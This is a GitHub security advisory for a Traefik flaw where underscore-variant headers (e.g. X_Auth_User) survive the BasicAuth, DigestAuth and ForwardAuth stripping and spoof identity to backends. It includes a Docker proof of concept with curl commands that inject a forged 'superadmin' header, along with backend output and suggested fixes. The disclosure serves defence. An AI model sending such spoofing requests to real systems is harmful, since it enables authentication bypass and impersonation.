Skip to content

Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

High severity GitHub Reviewed Published Jul 1, 2026 in traefik/traefik • Updated Aug 6, 2026

Package

gomod github.com/traefik/traefik/v2 (Go)

Affected versions

<= 2.11.50

Patched versions

2.11.51
gomod github.com/traefik/traefik/v3 (Go)
<= 3.6.21
>= 3.7.0, <= 3.7.5
3.6.22
3.7.6

Description

Summary

There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth
middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers
(e.g. X-Auth-User) before writing Traefik's own value, but did not account for
underscore-variant header names (e.g. X_Auth_User), which many backends normalize
identically to the dashed form. An attacker able to reach a protected route could inject
an underscore-variant header that survives Traefik's stripping and reaches the backend
alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of
— the value Traefik intended to set, spoofing identity or authorization context. This is
fixed by setting the new allowHeadersWithUnderscores: false entry point option, which
strips all headers with underscores in their names before routing.

Patches

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

Summary

The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basic_auth.go and pkg/middlewares/auth/digest_auth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).

However, textproto.CanonicalMIMEHeaderKey does NOT treat _ as a separator. Attacker-supplied underscore-variant headers such as X_Auth_User survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $_SERVER, nginx with underscores_in_headers on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize _ ↔ - equivalently or expose both forms to application code that may read the attacker's value.

This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwarded_header.go. The CVE-2026-39858 advisory body states verbatim:

"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."

The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "X_Auth_User: superadmin" ... request alongside valid BasicAuth credentials.

The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:

  1. pkg/middlewares/auth/basic_auth.go:101-105 — BasicAuth headerField
  2. pkg/middlewares/auth/digest_auth.go:99-103 — DigestAuth headerField
  3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback
  4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback

The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.

The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.

Affected versions

  • traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.

The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).

Root cause

In pkg/middlewares/auth/basic_auth.go at HEAD eec68dc:

if b.headerField != "" {
    // TODO Deprecated we should add the header with canonical key.
    req.Header.Del(b.headerField)
    req.Header[b.headerField] = []string{user}
}

The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.

pkg/middlewares/auth/digest_auth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.

The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwarded_header.go:53-66:

func isManagedXHeader(key string) bool {
    if len(key) == 0 || key[0] != 'X' { return false }
    if _, ok := XHeadersSet[key]; ok { return true }
    if strings.IndexByte(key, '_') < 0 { return false }
    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
    _, ok := XHeadersSet[canonical]
    return ok
}

This treats _ ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.

Proof of concept

Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com//traefik-ht1a-poc; commands below are verbatim.

Setup

# docker-compose.yml
services:
  traefik:
    image: traefik:v3.6.14
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:80
    ports:
      - "8080:80"
    volumes:
      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro
  echo:
    image: mendhak/http-https-echo:36
    environment:
      - HTTP_PORT=8888
# traefik/dynamic.yml — canonical headerField, recommended operator config
http:
  routers:
    protected:
      rule: "PathPrefix(`/`)"
      service: echo
      middlewares: [basic-auth]
  services:
    echo:
      loadBalancer:
        servers: [{url: "http://echo:8888"}]
  middlewares:
    basic-auth:
      basicAuth:
        users:
          - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC'   # alice:secret123
        headerField: "X-Auth-User"

docker compose up -d.

Test 1 (control — CVE-2026-33433 fix works for canonical case)

$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  ...
}

The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.

Test 2 (HT-1A bypass — underscore variant survives)

$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  "x_auth_user": "superadmin",
  ...
}

The underscore-variant x_auth_user: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.

Test 3 (double-send — same result)

$ curl -s -u alice:secret123 \
    -H "X-Auth-User: superadmin" \
    -H "X_Auth_User: superadmin" \
    http://localhost:8080/
{
  ...
  "x-auth-user": "alice",       # Traefik's writeback
  "x_auth_user": "superadmin",  # attacker's underscore — survived Del
  ...
}

The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.

Backend impact

The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["x_auth_user"] sees superadmin.

For backends that normalize _ ↔ - equivalently — meaning the attacker's value wins:

  • CGI / WSGI / PHP $_SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by _): both X-Auth-User and X_Auth_User map to HTTP_X_AUTH_USER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + mod_php with default HttpProtocolOptions Strict filters underscore-headers from $_SERVER (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.
  • nginx with underscores_in_headers on (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.
  • Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize.
  • Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.

Severity

I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).

CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.

CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.

CWEs:

  • CWE-290 (Authentication Bypass by Spoofing)
  • CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054
  • CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051

Suggested fix

Two equivalent approaches:

1. Extend Header.Del to handle underscore variants at the four call sites. Replace:

req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}

with:

canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
        delete(req.Header, key)
    }
}
req.Header.Set(canonical, user)  // canonical-key write

This pairs the headerField primitive with the same _ ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-*.

2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basic_auth.go, digest_auth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.

Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basic_auth.go:102 and digest_auth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.

Why this is a Pattern-8 sibling, not a new CVE class

The combination of:

  1. CVE-2026-33433's fix scope (case-canonicalization for headerField)
  2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet)
  3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)

establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.

I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.

Credit

Matteo Panzeri (GitHub matte1782). CVE credit requested.

AI-assistance disclosure

Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.


References

@mmatur mmatur published to traefik/traefik Jul 1, 2026
Published by the National Vulnerability Database Jul 6, 2026
Published to the GitHub Advisory Database Aug 6, 2026
Reviewed Aug 6, 2026
Last updated Aug 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. Learn more on MITRE.

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

CVE ID

CVE-2026-54763

GHSA ID

GHSA-x677-9fxg-v5c5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.